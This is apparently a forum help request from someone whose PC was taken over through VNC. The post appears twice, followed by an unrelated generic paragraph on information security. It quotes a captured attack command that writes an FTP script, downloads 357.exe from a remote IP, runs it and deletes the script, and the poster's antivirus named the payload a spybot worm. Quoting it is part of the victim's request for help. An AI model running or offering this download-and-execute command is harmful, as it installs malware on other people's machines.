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I was trouble shooting a time out issue with my internet connection. &nbsp;During this process I disconnected my switch, then I took my router of the mix. &nbsp;At this point , my PC was connected directly to my DSL modem. &nbsp;After 15 minutes past I walked away from my pc for 2 minutes. &nbsp;I came back to find my VNC icon Black, which means someon was connected, and my Symantec Auto Protect box up on the screen. &nbsp;I immediatly closed the VNC session. &nbsp;I then went to run a netstat to see if someone was connected and noticed this string in the command window.<br />
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cmd.exe /c del i&amp;echo open 66.16.176.238 12680 &gt;&nbsp;i&amp;echo user 1 1 &gt;&gt;&nbsp;i &amp;echo get 357.exe &gt;&gt;&nbsp;i &amp;echo quit &gt;&gt;&nbsp;i &amp;ftp -n -s:i &amp;357.exe&amp;del i&amp;exit<br />
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That same IP address was the ip address that connected to my computer via VNC. &nbsp;I found it on the event viewer.<br />
I then checked the symantec log and it shows that it blocked the w32.spybot.worm. &nbsp;Here is what I am guessing.<br />
This bunghole connected to my machine, someone how got into my VNC, and attempted to download a virus, but Norton caught it.<br />
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Can anyone tell me for sure what the above command does?
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I was trouble shooting a time out issue with my internet connection.  During this process I disconnected my switch, then I took my router of the mix.  At this point , my PC was connected directly to my DSL modem.  After 15 minutes past I walked away from my pc for 2 minutes.  I came back to find my VNC icon Black, which means someon was connected, and my Symantec Auto Protect box up on the screen.  I immediatly closed the VNC session.  I then went to run a netstat to see if someone was connected and noticed this string in the command window.

cmd.exe /c del i&echo open 66.16.176.238 12680 > i&echo user 1 1 >> i &echo get 357.exe >> i &echo quit >> i &ftp -n -s:i &357.exe&del i&exit

That same IP address was the ip address that connected to my computer via VNC.  I found it on the event viewer.
I then checked the symantec log and it shows that it blocked the w32.spybot.worm.  Here is what I am guessing.
This bunghole connected to my machine, someone how got into my VNC, and attempted to download a virus, but Norton caught it.

Can anyone tell me for sure what the above command does?

I got hacked. Found this command,

Security is the protection of information systems from theft or damage to the hardware, the software, and the information on them, as well as from disruption or misdirection of the services they provide. The main goal of security is protecting assets, and an asset is anything of value and worthy of protection.  Information Security is a discipline of protecting information assets from threats through safeguards to achieve the objectives of confidentiality, integrity, and availability or CIA for short. On the other hand, disclosure, alteration, and disruption (DAD) compromise the security objectives.